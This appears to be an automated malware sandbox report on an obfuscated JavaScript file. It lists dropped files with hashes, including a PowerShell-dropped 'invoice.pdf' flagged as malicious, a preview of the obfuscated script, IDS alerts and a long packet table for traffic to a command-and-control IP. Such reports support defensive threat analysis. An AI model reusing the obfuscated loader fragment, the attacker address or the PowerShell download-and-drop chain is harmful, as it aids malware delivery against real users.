SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\77e044d0-9a56-48b5-b3e4-f2a9c2537bd2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17169), with CRLF line terminators
Entropy (8bit):	4.920974062111905
TrID:
File name:	2280028191949810979.js
File size:	20'749 bytes
MD5:	5ef212dd4014767b76437eec5730abb1
SHA1:	f5d47c8557d514a4a3ded4be6fdc2611bd1e898e
SHA256:	14d851a4c340ad0990da1fbc9a45a210d8d8b3b55f311385212b666947adbfd5
SHA512:	0b24ec9a68fb763f4751c874e20fb46d251dc728b6def03fb4e7314becc93fd3787d0153110ba69b675533fb131f676736c94853b319392386197883e7722abf
SSDEEP:	384:LaVwlwVa6JCeJak4mxkRMjqDUzcMTymz2KPtcwySN1:LaVwlwVNq4zcMTymz2KPtcwyK
TLSH:	1192722EC10EBA9F4BD314E3642A50D732B84A6F17D095680E727C0E061EF6632F95B9
File Content Preview:	function wbffg(){zcxqe=[1031,3079,5127,4103,2055,3072];var gnriseb=this[lstgnbqu+qukarwai+gjfmkn+xyjkqa+ctckuaf+dwlccodc+kvhuflr+fvydmkqn](this[lfynezz+wuysc+vitwjm+gjfmkn+oofpz+lstgnbqu+fvydmkqn][njepgx+gjfmkn+ctckuaf+qukarwai+fvydmkqn+ctckuaf+yqmmk+zhwe

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:27:23.174970+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T18:27:25.412903+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:27:22.366230965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:22.371113062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:22.371257067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:22.374228954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:22.379010916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174835920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174871922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174890041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174906969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174925089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174941063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174951077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174967051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.174969912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.174985886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.175005913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.175029039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.175056934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.179816961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.225548029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.228734016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.228758097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.228786945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.228801966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.228867054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.228909969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.295463085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.295484066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.295559883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.295586109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.295602083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.295619965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.295635939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.295644045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.295677900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.296097040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296113014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296129942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296144962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296175957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.296226025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.296694994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296710968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296730995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296755075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.296811104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296830893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.296863079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.297583103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.297600031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.297616005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.297627926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.297660112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.297681093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.297698021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.297738075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.317492962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.349431992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.349457979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.349488020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.349502087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.349520922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.349606037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.349653006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.384233952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.384253979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.384355068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.416233063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416265011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416280985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416296959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416320086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416388988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.416439056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.416515112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416532040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416555882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416564941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.416594982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.416764975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416790009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416826010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.416963100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416977882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.416994095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417010069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417025089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.417052031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.417377949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417447090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417471886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417488098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417491913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.417505026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417521954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417526007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.417541027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.417572975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.418284893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.418302059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.418318987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.418334961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.418337107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.418354034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.418354034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.418370962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.418385983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.418389082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.418436050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.419008017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419053078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419069052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419089079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.419137001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419152975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419167995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419178009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.419184923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419207096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.419934988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419950962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419965982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419981003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.419984102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.420007944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.438098907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.438121080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.438147068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.438163042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.438251019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.438301086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.470268965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.470298052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.470314026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.470330954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.470350027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.470412016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.470467091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.473031044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.473048925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.473064899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.473110914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.473115921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.473129988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.473145962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.473151922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.473193884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.523458958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.523480892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.523546934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.536993980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537028074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537089109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537106037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537113905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537123919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537133932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537157059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.537199020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.537209988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537259102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.537305117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537322998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537341118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537369013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.537559986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537575960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537595987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537604094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537609100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.537621975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537648916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.537684917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.537828922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537859917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537877083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.537914991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.538016081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538033962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538050890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538062096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.538078070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538100004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538110971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.538117886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538137913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538144112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.538156986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538182020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.538654089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538670063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538686037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538703918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.538712978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538728952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538737059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.538746119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538764954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.538769960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.538801908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.539177895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539206982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539225101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539239883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539244890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.539258957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539273024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539287090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.539294004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539331913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539333105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.539349079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539364100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539372921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539377928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.539386034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.539467096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.539499998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.540211916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540236950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540254116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540278912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540292978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.540297985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540314913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540322065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.540332079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540349007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540359974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.540366888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540384054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.540389061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.540430069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.542910099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.542926073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.542942047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.542978048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.559025049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.559075117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.559091091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.559107065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.559118032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.559124947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.559142113 CET	80	49704	193.143.1.205	192.168.2.5
